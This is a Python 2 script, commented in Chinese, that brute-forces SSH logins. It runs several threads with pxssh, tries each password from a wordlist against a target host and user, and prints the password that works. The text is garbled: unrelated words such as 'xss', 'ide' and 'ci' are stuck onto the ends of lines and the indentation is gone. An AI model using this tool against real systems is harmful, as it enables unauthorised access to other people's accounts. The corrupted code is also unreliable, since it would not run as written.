import pxssh
import optparse
import time
from threading import *ssh
#最大線程數量控制數
maxConnections=5
connection_lock=BoundedSemaphore(value=maxConnections)xss
#Found 爲密碼成功破解後退出程序的信號
Found=Falseide
#Fails SSH鏈接數超過限制後會觸發異常,觸發異常後從新嘗試
Fails=0
def connect(host,user,password,release):
global Found
global Fails
global threadExit
try:
s=pxssh.pxssh()
s.login(host,user,password)
print '[+] Password Found: '+password
Found=Trueui
except Exception,e:
if 'read_nonblocking' in str(e):
Fails+=1
if Fails>4:
print "[!] Exiting:Too Many Socket Timeout"
time.sleep(1)
connect(host,user,password,False)
elif 'synchronize with original prompt' in str(e):
print "time sleep(1)"
time.sleep(1)
connect(host,user,password,False)
finally:線程
#線程代碼執行後釋放鎖
if release:
connection_lock.release()
def main():
parser=optparse.OptionParser('usage %prog '+\
'-H <targethost> -u <user> -F <passwordFile>')
parser.add_option('-H',dest='tgtHost',type='string',\
help='specify target host')
parser.add_option('-F',dest='passwdFile',type='string',\
help='specify password file')
parser.add_option('-u',dest='user',type='string',\
help='specify the user')
(options,args)=parser.parse_args()
tgtHost=options.tgtHost
user=options.user
passwdFile=options.passwdFile
print tgtHost
print user
print passwdFileip
host=options.tgtHost
passwdFile=options.passwdFile
user=options.user
if host ==None or passwdFile ==None or user ==None:
print parser.usage
exit(0)
fn=open(passwdFile,'r')
for line in fn.readlines():
password=line.strip('\r').strip('\n')ci
#代碼開始執行時,添加鎖
connection_lock.acquire()
print "[-]Testing : "+str(password)
t=Thread(target=connect,args=(host,user,\
password,True))
child=t.start()
if Found:
print "[*] Exiting:Password Found"
exit(0)get
if __name__=='__main__':
main()string